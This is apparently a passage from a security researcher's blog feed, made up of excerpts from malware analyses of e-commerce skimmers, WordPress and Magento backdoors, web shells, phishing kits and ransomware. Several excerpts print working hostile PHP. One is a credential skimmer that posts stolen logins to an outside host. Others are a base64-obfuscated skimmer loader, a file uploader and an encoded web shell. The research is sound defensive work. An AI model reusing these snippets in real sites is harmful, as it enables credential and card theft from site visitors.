@gzuncompress(base64_decode(str_rot13($hash.$salt.$meta))); //hxxps://zago-store[.]vn/pub/health_check.php $ver_token = $this->getCredentialStorageParser($username,$password,$url,$date); $request_data = array("VerifyMethod" => "safe_verify" , "VerifyToken" => $ver_token); $ch = curl_init($req_url); curl_setopt($ch, CURLOPT_URL,$req_url); curl_setopt($ch, CURLOPT_REFERER, $req_url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data)); @curl_exec($ch); @curl_close($ch); } catch (PluginAuthenticationException $e) {} The PHP skimmer uses the Magento 2 function getCredentialStorage to help retrieve the login data before exfiltrating the login data to the third party URL zago-store[. https://lukeleal.com/research/posts/how-to-reverse-xploitercrew-ransomweb/ Tue, 17 Nov 2020 00:00:00 +0000 https://lukeleal.com/research/posts/how-to-reverse-xploitercrew-ransomweb/ Websites and their hosting servers are targets of ransomware attacks as they are vital for many business operations, so when they go offline it can cause major issues for a business. The worst part about ransomware is that it encrypts your data and removes the original unencrypted files, so if you don’t have a suitable backup then there may not be a way to recover your data without paying the ransom (or your insurance). https://lukeleal.com/research/posts/wordpress-comment-backdoor-sql-trigger/ Thu, 12 Nov 2020 00:00:00 +0000 https://lukeleal.com/research/posts/wordpress-comment-backdoor-sql-trigger/ Throughout 2020 there has been an increasing trend of WordPress malware using SQL triggers to hide a malicious SQL query that will inject an admin level user into the infected database whenever the trigger condition is met. This is problematic for website owners that are cleaning an infected website as most online website cleaning guides focuses mainly on the files and data within specific tables of the database like checking wp_users, wp_options, and wp_posts. https://lukeleal.com/research/posts/alfa-shell-4-tesla/ Thu, 29 Oct 2020 00:00:00 +0000 https://lukeleal.com/research/posts/alfa-shell-4-tesla/ ALFA TEaM ALFA TEaM is an Iranian associated group who create various web malware including PHP shells and in the past one such tool, ALFA TEaM Shell, has been used by threat actors like APT 33. APT 33 is a suspected Iranian group that has targeted various industries in the past. You can read a detailed analysis from FireEye on the group APT 33 and their tactics here. ALFA TEaM Shell ~ v4. https://lukeleal.com/research/posts/eval-php-in-cookies/ Tue, 27 Oct 2020 00:00:00 +0000 https://lukeleal.com/research/posts/eval-php-in-cookies/ An attacker can inject a single line of code (under 130 characters) into a website file and then use it to load PHP web shells on your website whenever they want, but it would be invisible to anyone else viewing the website. How is this done? $_COOKIE PHP Code Execution The injection can be added to any file that loads with the website, so something like wp-load.php or an active theme/plugin file would be ideal options for WordPress websites. https://lukeleal.com/research/posts/real-time-phishing-and-qr-codes/ Mon, 26 Oct 2020 00:00:00 +0000 https://lukeleal.com/research/posts/real-time-phishing-and-qr-codes/ This phishing kit was found on a compromised website and it has the ability to control the victim’s phishing page in real-time and use various techniques like generated QR codes to obtain unauthorized access to the victim’s account. The kit targets Banco Itaú Empresas (business) customers that use Itaú Internet Banking - which is important because it comes with increased security requirements like: - Install Itaú App on the computer/phone or the older Guardião 30 Horas application ; - Unlock the App and Itoken Itaú ; (iToken) - register a 6 to 8 digit electronic password to be used both when accessing the application, website or Itaú customer service phones. https://lukeleal.com/research/posts/magento2-skimmer-txch-0x3c/ Tue, 20 Oct 2020 00:00:00 +0000 https://lukeleal.com/research/posts/magento2-skimmer-txch-0x3c/ An investigation into a compromised Magento 2 (2.2.6) website revealed a malicious PHP injection that was capturing POST request data from visitors on the checkout page and then encoding the captured data before finally saving it to an image file while it awaits exfiltration. The malicious PHP code was injected to the file ./vendor/magento/module-customer/Model/Session.php and a created function named getAuthenticates so it can be called by the function which loads the rest of the code. https://lukeleal.com/research/posts/scp-173-malware/ Mon, 12 Oct 2020 00:00:00 +0000 https://lukeleal.com/research/posts/scp-173-malware/ Sometimes malware code injections will contain strange code comments, which are normally used by programmers to annotate a section of code - like a short description. Oftentimes a hacker isn’t interested in leaving comments describing how the injected malware works, so they instead use code comments to add unique identifiers like an alias, a quote, threat group, and sometimes even memes. Unlike defacements, these code comments aren’t intended to be displayed on the infected website and so they can go largely unnoticed. https://lukeleal.com/research/posts/magento-skimmer-underscorefw/ Thu, 01 Oct 2020 00:00:00 +0000 https://lukeleal.com/research/posts/magento-skimmer-underscorefw/ A Magento website was found infected with the following PHP injection: File: ./app/code/core/Mage/Payment/Model/Method/Cc.php ... if ($_SERVER["REQUEST_METHOD"] === "GET"){ if (strpos($_SERVER["REQUEST_URI"], "/onestepcheckout/index/") !== false){ if(!isset($_COOKIE["adminhtml"])){ echo file_get_contents(base64_decode("cmVkYWN0ZWQgc28gSSBkb24ndCBnZXQgYmxhY2tsaXN0ZWQgOik=")); } } } The JavaScript skimmer is loaded using the PHP function file_get_contents the URL which is obfuscated with base64, but it only loads if the visitor is on the checkout page and if the visitor is not logged into the Magento website as an admin user. https://lukeleal.com/research/posts/att-global-employee-mfa-phishing/ Thu, 17 Sep 2020 00:00:00 +0000 https://lukeleal.com/research/posts/att-global-employee-mfa-phishing/ Employees at companies of all sizes can be targets of phishing attacks, but certain companies or industries can be more valuable to an attacker than others. For instance, employees at telecom companies will often have some level of elevated access that is unavailable to a non-employee. In fact, this access can be so valuable that attackers can find it easier and more efficient to simply bribe employees with large amounts of money, as revealed in a case last year. https://lukeleal.com/research/posts/wordpress-malware-disables-security-plugins/ Fri, 11 Sep 2020 00:00:00 +0000 https://lukeleal.com/research/posts/wordpress-malware-disables-security-plugins/ I’ve previously written about malware that reverses security hardening measures enacted either manually by the owner, or through the use of a security plugin installed to WordPress. What attackers may find problematic with reverse security hardening is that a security plugin that monitors files can detect any changes and alert the owner via email notification or within the WordPress dashboard. Unfortunately, PHP malware exists which solves this problem for the attacker by immediately disabling the most commonly used security plugins and preventing them from being reactivated in the WordPress dashboard. https://lukeleal.com/research/posts/golang-stealthworker/ Thu, 03 Sep 2020 00:00:00 +0000 https://lukeleal.com/research/posts/golang-stealthworker/ go vuln scanner malware that's dropped on the servers of infected WP, scanning for vuln plugins wp-customer-reviews + more SHA1:9f4674aa162f72492f80fe369f60a68701d33f7b fttt[.]developerstatss[.]ga/beras (dead) C2: 95. 142. 46 .69@CyberSecurityN8 @MalwarePatrol#malware #go pic.twitter.com/EbECaxviU8 — Luke Leal (@rootprivilege) September 2, 2020 https://lukeleal.com/research/posts/hidden-seo-spam-links/ Tue, 01 Sep 2020 00:00:00 +0000 https://lukeleal.com/research/posts/hidden-seo-spam-links/ Many times when a website has been injected with SEO spam the owner is unaware of it until they begin to receive warnings from search engines or blacklists. This is by design as the attacker arranges the display of the website so that the links are not going to be visible by average human traffic. No SEO spam visible to human traffic, but it exists out of sight. One way to do this is to use design elements to “push” the injected SEO spam links off the visible portion of the website. https://lukeleal.com/research/posts/magento-skimmer-amastybootstrap/ Tue, 18 Aug 2020 00:00:00 +0000 https://lukeleal.com/research/posts/magento-skimmer-amastybootstrap/ Active Magento JS skimmer hides within CSS request to malicious domain: amastybootstrap[.]store/css/font-awesome.css The code that loads the skimmer is easy to miss if you just look at the curl output in terminal!#skimmer #magento #malware #infosec #carding #cybercrime pic.twitter.com/tqJltm5aTX — Luke Leal (@rootprivilege) August 18, 2020 https://lukeleal.com/research/posts/simple-php-uploader/ Sun, 16 Aug 2020 00:00:00 +0000 https://lukeleal.com/research/posts/simple-php-uploader/ $data = $_REQUEST["data"]; $_REQUEST is always a better function to use than $_GET or $_POST as it does not limit itself to GET or POST but can rather accept either type of HTTP request. It gives more versatility, and it seems to be less detected than using $_GET or $_POST to capture the data that will be uploaded. file_put_contents("wp_run.php", $data); Once the attacker has submitted their data through a HTTP request to the wp_uploader. https://lukeleal.com/research/posts/php-obfuscation-tempname-url-encoding/ Thu, 13 Aug 2020 00:00:00 +0000 https://lukeleal.com/research/posts/php-obfuscation-tempname-url-encoding/ This PHP web shell used an obfuscation method where the web shell code was stored in URL encoded format and assigned to the variable $i. $i = rawurldecode("%3C%3Fphp%0A%20set_time_limit%280%29%3Berror_reporting%280%29%3Bif%28get_magic_quotes_gpc%28%29%29%7Bforeach%28%24_POST%20as%20%24key%3D%3E%24value%29%7B%24_POST%5B%24key%5D%3Dstripslashes%28%24value%29%3B%7D%7D%3F%3E%0A%3C%21DOCTYPE%20htm ... While URL encoding doesn’t change the actual function names of the web shell code, it changes the following characters in the web shell code to use their hexadecimal representations (like %21 is for exclamation point!): ( ) ; : @ & = + $ , / ? https://lukeleal.com/research/posts/prestashop-superadmin-injector/ Mon, 10 Aug 2020 00:00:00 +0000 https://lukeleal.com/research/posts/prestashop-superadmin-injector/ According to W3Tech’s data, Prestashop is still one of the more popular CMS choices for existing ecommerce websites, so it should come as no surprise that there exists malware specifically targeting it. We found an infected Prestashop website that had injected malware which was being used to automatically inject a SuperAdmin level Prestashop user whenever the website owner would log into the Prestashop backend. The malware was injected into existing Prestashop core files: https://lukeleal.com/research/posts/magento-multiversion-backdoor/ Tue, 04 Aug 2020 00:00:00 +0000 https://lukeleal.com/research/posts/magento-multiversion-backdoor/ The Magento 1 EOL date has already passed, however we know there will be websites that will continue to use it for the foreseeable future. Unfortunately attackers are also aware of this and so they will end up creating post compromise tools that can be deployed against both Magento 1.x and 2.x versions. In this case, the tool is named Forbidden and it allows the attacker to quickly add an admin user, modify existing users, view orders, dump the website’s configuration data, and a removal function once the attacker is finished with it. https://lukeleal.com/research/posts/spox-phishing-kit/ Fri, 10 Jul 2020 00:00:00 +0000 https://lukeleal.com/research/posts/spox-phishing-kit/ Phishing kits are the back end components to a phishing attack and are often designed to make it easier to deploy a phishing page. These kits are typically bundled in compressed files, such as .ziparchives, and contain the entire file infrastructure needed to operate a phishing page. Once a kit is uploaded to a compromised website or hosting environment, the attacker can simply unzip it and launch operational phishing pages within a short period of time. https://lukeleal.com/research/posts/php-backdoor-obfuscated-one-liner/ Sat, 04 Jul 2020 00:00:00 +0000 https://lukeleal.com/research/posts/php-backdoor-obfuscated-one-liner/ Obfuscated PHP Backdoor This PHP backdoor uses an omission obfuscation technique where it purposely omits the create_function from its injected code, requiring the attacker to provide it in their HTTP request to the infected file. This is important because create_function is the type of function that will get flagged by scanners. I have explained in past research posts how small one line PHP backdoors use obfuscation and strings of code in HTTP requests to pass attacker’s commands to backdoors. https://lukeleal.com/research/posts/welcome/ Mon, 01 Jun 2020 00:00:00 +0000 https://lukeleal.com/research/posts/welcome/ Welcome! I created this to share my infosec research more freely. As usual, all information discussed and shown is for information security research purposes and should not be misused or used in any illegal manner.